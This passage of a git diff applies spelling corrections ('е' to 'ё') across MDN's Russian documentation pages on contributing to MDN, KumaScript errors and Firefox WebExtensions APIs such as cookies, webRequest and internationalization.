href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&projects=mdn/sprints/2&labels=user-report">заявки</a>. Шаблон проблемы содержит разделы для получения информации, необходимой для начала работы по устранению проблемы. Не стесняйтесь удалять любую часть шаблона, которая не полезна или не имеет отношения к вашей проблеме</p> -<p>Конечно, наше писательское сообщество занято, поэтому иногда самый быстрый способ решить проблему с документацией – это исправить ее самостоятельно. Дополнительные сведения см. в разделе <a href="/ru/docs/MDN/Contribute/Creating_and_editing_pages">создание и редактирование страниц</a>.</p> +<p>Конечно, наше писательское сообщество занято, поэтому иногда самый быстрый способ решить проблему с документацией – это исправить её самостоятельно. Дополнительные сведения см. в разделе <a href="/ru/docs/MDN/Contribute/Creating_and_editing_pages">создание и редактирование страниц</a>.</p> <h2 id="Ошибки_сайта_или_предложения_функционала">Ошибки сайта или предложения функционала</h2> -<p><a href="/ru/docs/MDN/Kuma" title="/en-US/docs/Project:MDN/Kuma">Kuma</a> – платформа, разработанная Mozilla для веб-сайта MDN, находится в состоянии непрерывного развития. Наши разработчики, а также ряд добровольных участников, постоянно вносят улучшения. Если вы видите ошибку, или у вас есть проблема с сайтом, или даже есть <span class="tlid-translation translation" lang="ru"><span title="">предложение по поводу чего-то, что могло бы сделать программу более интересной</span></span>, вы можете использовать <a href="https://github.com/mdn/kuma/issues/new">форму заявки Kuma</a> для подачи отчета. Вы также можете использовать эту форму для сообщения о проблемах с производительностью сайта, хотя есть вероятность, что средства мониторинга производительности уже уведомили соответствующих людей.</p> +<p><a href="/ru/docs/MDN/Kuma" title="/en-US/docs/Project:MDN/Kuma">Kuma</a> – платформа, разработанная Mozilla для веб-сайта MDN, находится в состоянии непрерывного развития. Наши разработчики, а также ряд добровольных участников, постоянно вносят улучшения. Если вы видите ошибку, или у вас есть проблема с сайтом, или даже есть <span class="tlid-translation translation" lang="ru"><span title="">предложение по поводу чего-то, что могло бы сделать программу более интересной</span></span>, вы можете использовать <a href="https://github.com/mdn/kuma/issues/new">форму заявки Kuma</a> для подачи отчёта. Вы также можете использовать эту форму для сообщения о проблемах с производительностью сайта, хотя есть вероятность, что средства мониторинга производительности уже уведомили соответствующих людей.</p> diff --git a/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html b/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html index 90cd9d2f3c..600c8491fa 100644 --- a/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html +++ b/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html @@ -22,7 +22,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary <h2 id="Как_писать_записи">Как писать записи</h2> -<p>Ищете темы, которые нуждаются в записи глоссария? Посмотрите <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">список незадокументированных терминов</a> в конце <a href="https://developer.mozilla.org/en-US/docs/Glossary">целевой страницы глоссария</a>. Щелкните любую из этих ссылок, чтобы начать новую страницу глоссария для элемента, на который вы нажали; затем выполните нижеуказанные действия.</p> +<p>Ищете темы, которые нуждаются в записи глоссария? Посмотрите <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">список незадокументированных терминов</a> в конце <a href="https://developer.mozilla.org/en-US/docs/Glossary">целевой страницы глоссария</a>. Щёлкните любую из этих ссылок, чтобы начать новую страницу глоссария для элемента, на который вы нажали; затем выполните нижеуказанные действия.</p> <p>Если же у вас уже есть идея для новой записи в глоссарии, просто нажмите на кнопку "Сделать новую запись в глоссарии" (см. ниже) так, чтобы она открылась в новой вкладке, а затем выполните нижеуказанные действия.</p> @@ -33,7 +33,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary <h3 id="Шаг_1_Выберите_термин_которому_хотите_дать_определение">Шаг 1: Выберите термин, которому хотите дать определение</h3> -<p>Первое, что нужно сделать, это выбрать термин, о котором писать. Если вы не знаете, какие термины нуждаются в определениях, вы можете <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">проверить наш список предложений</a>. Просто нажмите на термин и начните писать. Если вы уже авторизованы в системе, то вы попадете в Редактор MDN.</p> +<p>Первое, что нужно сделать, это выбрать термин, о котором писать. Если вы не знаете, какие термины нуждаются в определениях, вы можете <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">проверить наш список предложений</a>. Просто нажмите на термин и начните писать. Если вы уже авторизованы в системе, то вы попадёте в Редактор MDN.</p> <h3 id="Шаг_2_Дайте_краткое_определение">Шаг 2: Дайте краткое определение</h3> @@ -45,7 +45,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary <h4 id="Как_создать_хорошую_запись_глоссария">Как создать <em>хорошую</em> запись глоссария</h4> -<p>Если это необходимо, можете добавить несколько дополнительных абзацев, но будьте осторожны – так можно и увлечься, и вот вы уже пишете огромную статью. Написать полноценную статью – это прекрасно, но, пожалуйста, не помещайте ее в глоссарий. Если вы не уверены, где разместить свою статью, не стесняйтесь обратиться за помощью и <a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Join_our_mailing_lists">обсудить</a> это.</p> +<p>Если это необходимо, можете добавить несколько дополнительных абзацев, но будьте осторожны – так можно и увлечься, и вот вы уже пишете огромную статью. Написать полноценную статью – это прекрасно, но, пожалуйста, не помещайте её в глоссарий. Если вы не уверены, где разместить свою статью, не стесняйтесь обратиться за помощью и <a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Join_our_mailing_lists">обсудить</a> это.</p> <p>Вот несколько простых рекомендаций, которые стоит применять при написании записей в глоссарий:</p> @@ -69,7 +69,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary <p>Заканчиваться запись в глоссарии всегда должна разделом "Узнать больше". Этот раздел должен содержать ссылки, которые помогут читателю подробнее изучить вопрос: узнать больше деталей, научиться использовать соответствующие технологии и так далее.</p> -<p><span id="result_box" lang="ru"><span class="hps">Мы рекомендуем </span><span class="hps">сортировать</span> <span class="hps">ссылки</span> <span class="hps">по трем группам</span><span>:</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Мы рекомендуем </span><span class="hps">сортировать</span> <span class="hps">ссылки</span> <span class="hps">по трём группам</span><span>:</span></span></p> <p><em><strong>Общие знания</strong></em><br> Ссылки, которые предоставляют информацию более общего характера, например, ссылка на<a href="http://wikipedia.org/"> Википедию </a>– это хорошая отправная точка.</p> @@ -78,14 +78,14 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary Ссылки на более подробную техническую информацию, на MDN или в другом месте.</p> <p><em><strong>Узнать больше</strong></em><br> - Ссылки на учебные пособия, упражнения, примеры или любые другие материалы, которые помогают читателю научиться использовать технологию, стоящую за определенным термином.</p> + Ссылки на учебные пособия, упражнения, примеры или любые другие материалы, которые помогают читателю научиться использовать технологию, стоящую за определённым термином.</p> <h2 id="Что_делать_если_у_термина_несколько_значений">Что делать, если у термина несколько значений</h2> <p>Иногда один и тот же термин может иметь разные значения в зависимости от контекста. Чтобы избежать возможных разночтений и путаницы, следуйте этим рекомендациям:</p> <ul> - <li>На основной странице записи, посвященной термину, должны быть перечислены все его возможные значения. Это делается с помощью макроса {{TemplateLink("GlossaryDisambiguation")}}.</li> + <li>На основной странице записи, посвящённой термину, должны быть перечислены все его возможные значения. Это делается с помощью макроса {{TemplateLink("GlossaryDisambiguation")}}.</li> <li>Для каждого значения должна быть создана отдельная подстраница.</li> </ul> diff --git a/files/ru/mdn/contribute/processes/index.html b/files/ru/mdn/contribute/processes/index.html index d0d186e509..bf3ab2ab18 100644 --- a/files/ru/mdn/contribute/processes/index.html +++ b/files/ru/mdn/contribute/processes/index.html @@ -10,6 +10,6 @@ original_slug: MDN/Contribute/Процессы --- <div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div> -<p>Проектная документация МДН необъятна; существует огромное количество технологий, реализуемые при помощи сотен участников со всего мира. Чтобы помочь нам навести порядок в этом хаосе, имеются стандартные процессы при работе с конкретными документационно-связанными задачами. Здесь вы найдете руководства к этим процессам.</p> +<p>Проектная документация МДН необъятна; существует огромное количество технологий, реализуемые при помощи сотен участников со всего мира. Чтобы помочь нам навести порядок в этом хаосе, имеются стандартные процессы при работе с конкретными документационно-связанными задачами. Здесь вы найдёте руководства к этим процессам.</p> <p>{{LandingPageListSubPages()}}</p> diff --git a/files/ru/mdn/tools/kumascript/troubleshooting/index.html b/files/ru/mdn/tools/kumascript/troubleshooting/index.html index a540adf81a..27767d3872 100644 --- a/files/ru/mdn/tools/kumascript/troubleshooting/index.html +++ b/files/ru/mdn/tools/kumascript/troubleshooting/index.html @@ -14,11 +14,11 @@ original_slug: MDN/Kuma/Troubleshooting_KumaScript_errors --- <div>{{MDNSidebar}}</div> -<p>Ошибки <a href="/ru/docs/MDN/Kuma/Introduction_to_KumaScript">KumaScript</a>, появляющиеся на странице, могут быть очень неудобными для читателей, из-за больших страшных красных ящиков, но, к счастью, любой человек с учетной записью MDN может отредактировать документ, чтобы исправить эту ошибку. При возникновении ошибки страница добавляется в список <a href="/ru/docs/with-errors">документов с ошибками</a>. Редакторы сайта регулярно просматривают этот список, чтобы находить и исправлять ошибки. В этой статье подробно описываются четыре типа ошибок KumaScript и некоторые шаги, которые можно предпринять для их исправления.</p> +<p>Ошибки <a href="/ru/docs/MDN/Kuma/Introduction_to_KumaScript">KumaScript</a>, появляющиеся на странице, могут быть очень неудобными для читателей, из-за больших страшных красных ящиков, но, к счастью, любой человек с учётной записью MDN может отредактировать документ, чтобы исправить эту ошибку. При возникновении ошибки страница добавляется в список <a href="/ru/docs/with-errors">документов с ошибками</a>. Редакторы сайта регулярно просматривают этот список, чтобы находить и исправлять ошибки. В этой статье подробно описываются четыре типа ошибок KumaScript и некоторые шаги, которые можно предпринять для их исправления.</p> <h2 id="DocumentParsingError">DocumentParsingError</h2> -<p><code>DocumentParsingError</code> ошибки появляются, когда у KumaScript есть проблемы с пониманием чего-либо в самом документе. Наиболее распространенной причиной является синтаксическая ошибка в <a href="/ru/docs/MDN/Contribute/Structures/Macros">макросе</a>.</p> +<p><code>DocumentParsingError</code> ошибки появляются, когда у KumaScript есть проблемы с пониманием чего-либо в самом документе. Наиболее распространённой причиной является синтаксическая ошибка в <a href="/ru/docs/MDN/Contribute/Structures/Macros">макросе</a>.</p> <p>Необходимо проверить:</p> diff --git a/files/ru/mdn/tools/unsupported_get_api/index.html b/files/ru/mdn/tools/unsupported_get_api/index.html index 73b9a4bb33..c7d9fb8d92 100644 --- a/files/ru/mdn/tools/unsupported_get_api/index.html +++ b/files/ru/mdn/tools/unsupported_get_api/index.html @@ -29,7 +29,7 @@ original_slug: MDN/Tools/URL-suffix <dd> <p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Указывает Куме возвращать только сводку страницы.</span></span> <span class="ChMk0b JLqJ4b"><span>Если на странице есть контент, помеченный классом «Сводка SEO», этот контент возвращается.</span></span> <span class="ChMk0b JLqJ4b"><span>Если такого содержания нет, возвращается содержание раздела «Сводка».</span></span> <span class="ChMk0b JLqJ4b"><span>В противном случае возвращается содержимое первого блока.</span></span></span></p> - <div class="note"><strong><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Уведомление об ошибке</span></span></span>:</strong> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>В настоящее время существует ошибка, из-за которой сводный параметр возвращает весь документ, если вы также не укажете необработанный параметр.</span></span> <span class="ChMk0b JLqJ4b"><span>Обратите внимание, что вы также можете получить сводку из возвращенного JSON, <a href="/ru/docs/MDN/Tools/URL-suffix#json-view">используя альтернативное представление $ json</a>.</span></span></span></div> + <div class="note"><strong><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Уведомление об ошибке</span></span></span>:</strong> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>В настоящее время существует ошибка, из-за которой сводный параметр возвращает весь документ, если вы также не укажете необработанный параметр.</span></span> <span class="ChMk0b JLqJ4b"><span>Обратите внимание, что вы также можете получить сводку из возвращённого JSON, <a href="/ru/docs/MDN/Tools/URL-suffix#json-view">используя альтернативное представление $ json</a>.</span></span></span></div> </dd> <dt><code>raw</code></dt> <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Указывает Kuma вернуть необработанное содержимое страницы без какого-либо материала обложки, такого как верхние, нижние колонтитулы и т. д.</span></span> <span class="ChMk0b JLqJ4b"><span>При этом не выполняются шаблоны или сценарии, что удобно для редакторов сборки.</span></span></span></dd> diff --git a/files/ru/mozilla/add-ons/index.html b/files/ru/mozilla/add-ons/index.html index 817ed815ee..a647e86282 100644 --- a/files/ru/mozilla/add-ons/index.html +++ b/files/ru/mozilla/add-ons/index.html @@ -19,7 +19,7 @@ translation_of: Mozilla/Add-ons <hr> <h2 id="Расширения"><a name="Extensions">Расширения</a></h2> -<p>Расширения добавляют новые функции к приложениям Mozilla, например таким как Firefox и Thunderbird. С их помощью можно изменить стандартное поведение браузера, например реализовать другой способ организации и управления вкладками. Можно даже изменять содержимое отображаемого веб приложения, чтобы улучшить удобство использования или например повысить безопасность определенных сайтов.</p> +<p>Расширения добавляют новые функции к приложениям Mozilla, например таким как Firefox и Thunderbird. С их помощью можно изменить стандартное поведение браузера, например реализовать другой способ организации и управления вкладками. Можно даже изменять содержимое отображаемого веб приложения, чтобы улучшить удобство использования или например повысить безопасность определённых сайтов.</p> <p>Существует 3 различных способа сборки расширений: restartless-расширения на основе Add-on SDK, restartless-расширения с реализацией этого механизма вручную (manually bootstrapped restartless extensions), и расширения с использованием технологии Overlay.</p> @@ -38,7 +38,7 @@ translation_of: Mozilla/Add-ons <p>В данный момент мы разрабатываем систему под названием WebExtensions, которая будет новым способом разработки расширений для браузера Firefox, эта система будет гораздо более совместима с браузерами Chrome и Opera.</p> <p>В будущем она станет наиболее предпочтительной при разработке новых проектов для браузера Firefox.</p> -В данный момент она является экспериментальной, но несмотря на это вы можете <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">ознакомиться с документацией</a>, если хотите ее опробовать.</div> +В данный момент она является экспериментальной, но несмотря на это вы можете <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">ознакомиться с документацией</a>, если хотите её опробовать.</div> <p>Где это возможно, рекомендуется выбирать Add-On SDK, который использует механизм расширения без необходимости перезапуска браузера (restartless extensions), а также упрощает разработку и убирает за собой. Если Вам недостаточно возможностей комплекта средств разработки Add-on SDK для реализации ваших идей, механизм restartless Вы можете осуществить самостоятельно. Технология Overlay extensions в целом устарела и не рекомендуется при разработке новых расширений.</p> @@ -87,7 +87,7 @@ translation_of: Mozilla/Add-ons </div> <div class="column-half"> -<p>С помощью <a href="/en-US/docs/Themes">полных тем</a> вы можете гораздо глубже менять UI приложения. Документация к полным темам устарела, но приведена здесь в качестве возможной основы для обновленной документации.</p> +<p>С помощью <a href="/en-US/docs/Themes">полных тем</a> вы можете гораздо глубже менять UI приложения. Документация к полным темам устарела, но приведена здесь в качестве возможной основы для обновлённой документации.</p> </div> </div> @@ -96,7 +96,7 @@ translation_of: Mozilla/Add-ons <p><a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">Поисковые плагины</a> являются простыми и очень специфическими типами дополнений: они добавляют новые поисковые системы для поиска в строке браузера.</p> -<p><strong><a href="/en-US/docs/Plugins">Плагины</a> </strong>(не путать с расширением и дополнением)<strong> </strong>помогают приложению понять содержание, которое не имеет встроенной поддержки. NPAPI-плагины являются устаревшей технологией и новые сайты не будут ее использовать. Как правило, такие плагины не доступны для использования на большинстве современных мобильных систем, и веб-сайты должны избегать их использования</p> +<p><strong><a href="/en-US/docs/Plugins">Плагины</a> </strong>(не путать с расширением и дополнением)<strong> </strong>помогают приложению понять содержание, которое не имеет встроенной поддержки. NPAPI-плагины являются устаревшей технологией и новые сайты не будут её использовать. Как правило, такие плагины не доступны для использования на большинстве современных мобильных систем, и веб-сайты должны избегать их использования</p> <h2 id="Смотрите_также" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">Смотрите также</h2> diff --git a/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html index cad5651a81..6d1a808d7d 100644 --- a/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html +++ b/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html @@ -73,7 +73,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension <h4 id="DOM_APIs">DOM APIs</h4> -<p>Фоновые скрипты запускаются в пространстве специальной страницы, называемой фоновой. Это дает им доступ к глобальному <code><a href="/en-US/docs/Web/API/Window">window</a></code> объекту, а так же ко всем его DOM APIs.</p> +<p>Фоновые скрипты запускаются в пространстве специальной страницы, называемой фоновой. Это даёт им доступ к глобальному <code><a href="/en-US/docs/Web/API/Window">window</a></code> объекту, а так же ко всем его DOM APIs.</p> <h4 id="WebExtension_APIs">WebExtension APIs</h4> @@ -101,7 +101,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Страница настроек</a> открывается, когда пользователь обращается к настройкам расширения на странице менеджера расширений.</li> </ul> -<p>Для каждого из этих компонентов вы создаете HTML файл и помещаете специальную информацию в <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>. HTML файл может в себя включать CSS и JavaScript файлы, как и любая web-страница.</p> +<p>Для каждого из этих компонентов вы создаёте HTML файл и помещаете специальную информацию в <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>. HTML файл может в себя включать CSS и JavaScript файлы, как и любая web-страница.</p> <p>Всё это типы <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">веб-страниц расширения</a>, и, в отличие от нормальных веб-страниц, ваш JavaScript может использовать все привелегии WebExtension APIs, как и ваши фоновые скрипты. Они даже могут получить доступ к переменным в фоновой странице, используя {{WebExtAPIRef("runtime.getBackgroundPage()")}}.</p> diff --git a/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html b/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html index a31f300edf..116166a1ef 100644 --- a/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html +++ b/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html @@ -37,7 +37,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/cookies <dt>{{WebExtAPIRef("cookies.get()")}}</dt> <dd>Запрашивает информацию об одном кукис.</dd> <dt>{{WebExtAPIRef("cookies.getAll()")}}</dt> - <dd>Выдает все кукис которые подходят установленному фильтру.</dd> + <dd>Выдаёт все кукис которые подходят установленному фильтру.</dd> <dt>{{WebExtAPIRef("cookies.set()")}}</dt> <dd>Устанавливает кукис с заданной информацией;в том случае если подобный кукис был информация будет перезаписана.</dd> <dt>{{WebExtAPIRef("cookies.remove()")}}</dt> @@ -50,7 +50,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/cookies <dl> <dt>{{WebExtAPIRef("cookies.onChanged")}}</dt> - <dd>Происходит когда кукис задается или меняется.</dd> + <dd>Происходит когда кукис задаётся или меняется.</dd> </dl> <h2 id="Permissions">Permissions</h2> diff --git a/files/ru/mozilla/add-ons/webextensions/api/index.html b/files/ru/mozilla/add-ons/webextensions/api/index.html index d4f312ea2e..eec7707789 100644 --- a/files/ru/mozilla/add-ons/webextensions/api/index.html +++ b/files/ru/mozilla/add-ons/webextensions/api/index.html @@ -45,7 +45,7 @@ setCookie.then(logCookie, logError);</pre> <p>Mozilla так же предоставляет полифил, который позволяет коду, использующему <code>browser</code> и промисы, работать без изменений в Chrome: <a class="external external-icon" href="https://github.com/mozilla/webextension-polyfill">https://github.com/mozilla/webextension-polyfill</a>.</p> -<p>Microsoft Edge использует пространство имен <code>browser</code>, но ещё не поддерживает, основанный на промисах асинхронный API. В Edge на данный момент асинхронные вызовы API должны использовать колбэки.</p> +<p>Microsoft Edge использует пространство имён <code>browser</code>, но ещё не поддерживает, основанный на промисах асинхронный API. В Edge на данный момент асинхронные вызовы API должны использовать колбэки.</p> <p>Не все браузеры поддерживают все API: детали см. <a href="/ru/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser support for JavaScript APIs</a>.</p> </div> diff --git a/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html b/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html index ebae6f21c5..6f9eafef23 100644 --- a/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html +++ b/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html @@ -9,7 +9,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest <p>Каждое событие запущено на определённой стадии запроса. Типичный порядок событий такой:<img alt="" src="https://mdn.mozillademos.org/files/13376/webRequest-flow.png" style="display: block; height: 680px; margin-left: auto; margin-right: auto; width: 624px;"></p> -<p>{{WebExtAPIRef("webRequest.onErrorOccurred", "onErrorOccurred")}} Может быть запущен в любой момент во время запроса. Чреда событий может отличаться от приведенной выше: например, в Firefox, после <a href="/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security">HSTS</a> обновления, событие <code>onBeforeRedirect</code> будет запущено сразу же после <code>onBeforeRequest</code>.</p> +<p>{{WebExtAPIRef("webRequest.onErrorOccurred", "onErrorOccurred")}} Может быть запущен в любой момент во время запроса. Чреда событий может отличаться от приведённой выше: например, в Firefox, после <a href="/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security">HSTS</a> обновления, событие <code>onBeforeRedirect</code> будет запущено сразу же после <code>onBeforeRequest</code>.</p> <p>Все события, кроме <code>onErrorOccurred</code>, могут принимать три аргумента в <code>addListener()</code>:</p> @@ -19,7 +19,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest <li>необязательный объект <code>extraInfoSpec</code> . Может быть использован для передачи дополнительных специфических для события инструкций.</li> </ul> -<p>Функции - обработчику передается объект <code>details</code> который содержит информацию о запросе. Она содержит ID запроса, который обеспечен для включения надстройки, которая позволяет соотносить события, ассоциируемые с одним запросом. Это уникально в пределах сессии и контекста надстройки. Информация остается одинаковой везде на протяжении запроса, даже при перенаправлениях и обменах аутентификации.</p> +<p>Функции - обработчику передаётся объект <code>details</code> который содержит информацию о запросе. Она содержит ID запроса, который обеспечен для включения надстройки, которая позволяет соотносить события, ассоциируемые с одним запросом. Это уникально в пределах сессии и контекста надстройки. Информация остаётся одинаковой везде на протяжении запроса, даже при перенаправлениях и обменах аутентификации.</p> <p>Для использования webRequest API для определённого хоста, расширение должно иметь "webRequest" <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#API_permissions">API permission</a> и <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">host permission </a>для этого хоста. Для использования возможности "блокирования" расширение должно также иметь "webRequestBlocking" API разрешение.</p> @@ -56,7 +56,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest <li>{{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}</li> </ul> </li> - <li>предоставить учетные данные аутентификации в: + <li>предоставить учётные данные аутентификации в: <ul> <li>{{WebExtAPIRef("webRequest.onAuthRequired", "onAuthRequired")}}</li> </ul> diff --git a/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html b/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html index 7a5853c940..d17448989f 100644 --- a/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html +++ b/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html @@ -7,7 +7,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities <p>Веб расширения разработаны с поддержкой совместимости с расширениями Chrome и Оперы на сколько это возможно. Расширения, написанные для этих браузеров, должны работать в Firefox с минимальными изменениями.</p> -<p>Все же, Firefox на данный момент имеет поддержку только для ограниченного набора функций и API, поддержуемых в Chrome и Опере. Мы работаем над добавлением большей поддержки, но много функций пока еще не поддерживаются и некоторые из них никогда не будут поддерживаться.</p> +<p>Все же, Firefox на данный момент имеет поддержку только для ограниченного набора функций и API, поддержуемых в Chrome и Опере. Мы работаем над добавлением большей поддержки, но много функций пока ещё не поддерживаются и некоторые из них никогда не будут поддерживаться.</p> <p>Эта статья перечисляет все функции и API, которые полностью поддерживаются в <span style="line-height: 1.5;">Firefox Developer Edition (на данный момент Firefox 47). Там где функция поддерживается частично, мы указали на проблемные места.</span></p> diff --git a/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html b/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html index 2ecab08bdf..04a051899b 100644 --- a/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html +++ b/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html @@ -107,7 +107,7 @@ browser.webRequest.onBeforeRequest.addListener( <p class="result">На этот раз мы не перехватываем каждый запрос: опция <code>{urls: [pattern], types: ["image"]}</code> указывает, что мы должны перехватывать запросы (1) для URL-адресов, находящихся в разделе «https://mdn.mozillademos.org / "(2) для ресурсов изображения. Подробнее см. {{WebExtAPIRef ("webRequest.RequestFilter")}}.</p> -<p>Также обратите внимание, что мы передаем опцию <code>"blocking"</code>: нам нужно передать это, когда мы хотим изменить запрос. Это заставляет функцию обработчика блокировать сетевой запрос, поэтому браузер ждет, пока обработчик вернется, прежде чем продолжить. Дополнительную информацию о <code>"blocking"</code> смотрите в документации {{WebExtAPIRef ("webRequest.onBeforeRequest")}}.</p> +<p>Также обратите внимание, что мы передаём опцию <code>"blocking"</code>: нам нужно передать это, когда мы хотим изменить запрос. Это заставляет функцию обработчика блокировать сетевой запрос, поэтому браузер ждёт, пока обработчик вернётся, прежде чем продолжить. Дополнительную информацию о <code>"blocking"</code> смотрите в документации {{WebExtAPIRef ("webRequest.onBeforeRequest")}}.</p> <p>Чтобы проверить это, откройте страницу в MDN, которая содержит много изображений (например, https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor), перезагрузите WebExtension и перезагрузите страницу MDN :</p> diff --git a/files/ru/mozilla/add-ons/webextensions/internationalization/index.html b/files/ru/mozilla/add-ons/webextensions/internationalization/index.html index e5367909ad..ce3323d169 100644 --- a/files/ru/mozilla/add-ons/webextensions/internationalization/index.html +++ b/files/ru/mozilla/add-ons/webextensions/internationalization/index.html @@ -69,9 +69,9 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац <div class="moreinfo">Вы можете определить тэг языка при помощи инструмента <em>Find</em> на <a href="https://r12a.github.io/app-subtags/">странице определения языковых тегов</a>. Обратите внимание на то, что при поиске нужно использовать английское название языка</div> </div> -<p>Каждая система i18n требует предоставить строки во всех локализациях, которые Вы хотите поддерживать. В расширениях они хранятся в директории <code>_locales</code>, размещенной внутри корневой директории. Строки каждой локализации (также называемые сообщениями) хранятся в файле <code>messages.json</code>, находящемся в поддиректории <code>_locales</code>, название которой - тег языка локализации.</p> +<p>Каждая система i18n требует предоставить строки во всех локализациях, которые Вы хотите поддерживать. В расширениях они хранятся в директории <code>_locales</code>, размещённой внутри корневой директории. Строки каждой локализации (также называемые сообщениями) хранятся в файле <code>messages.json</code>, находящемся в поддиректории <code>_locales</code>, название которой - тег языка локализации.</p> -<p>Стоит заметить, что если тег включает в себя и базовый язык, и его региональный вариант, то по конвенции эти язык и вариант разделяются дефисом: например, "en-US". Однако в поддиректориях <code>_locales</code>, <strong>вместо дефиса используется нижнее подчеркивание</strong>: "en_US".</p> +<p>Стоит заметить, что если тег включает в себя и базовый язык, и его региональный вариант, то по конвенции эти язык и вариант разделяются дефисом: например, "en-US". Однако в поддиректориях <code>_locales</code>, <strong>вместо дефиса используется нижнее подчёркивание</strong>: "en_US".</p> <p>Таким образом, <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n/_locales">в нашем примере</a> существую директории "en" (английский), "de" (немецкий), "nl" (голландский), and "ja" (японский). Внутри каждой из них находится файл <code>messages.json</code> .</p> @@ -126,21 +126,21 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац <p>Здесь мы получаем сообщения, зависящие от локализации браузера, а не просто статические строки.</p> -<p>Чтобы получить строку сообщения, ее нужно указать следующим образом:</p> +<p>Чтобы получить строку сообщения, её нужно указать следующим образом:</p> <ol> - <li>Два подчеркивания</li> + <li>Два подчёркивания</li> <li>Строка "MSG"</li> - <li>Одно подчеркивание</li> + <li>Одно подчёркивание</li> <li>Имя сообщения так как оно указано в <code>messages.json</code></li> - <li>Два подчеркивания</li> + <li>Два подчёркивания</li> </ol> <pre class="notranslate"><strong>__MSG_</strong> + <em>messageName</em> + <strong>__</strong></pre> <h3 id="Локализация_по_умолчанию">Локализация по умолчанию</h3> -<p>Еще одно поле. которое нужно указать в manifest.json — это <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a>:</p> +<p>Ещё одно поле. которое нужно указать в manifest.json — это <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a>:</p> <pre class="brush: json notranslate">"default_locale": "en"</pre> @@ -154,7 +154,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац background-image: url(../images/__MSG_extensionName__/header.png); }</pre> -<p>Этот функционал может быть полезен, однако, возможно, для этих целей стоит использовать {{anch("Заранее определенные сообщения")}}.</p> 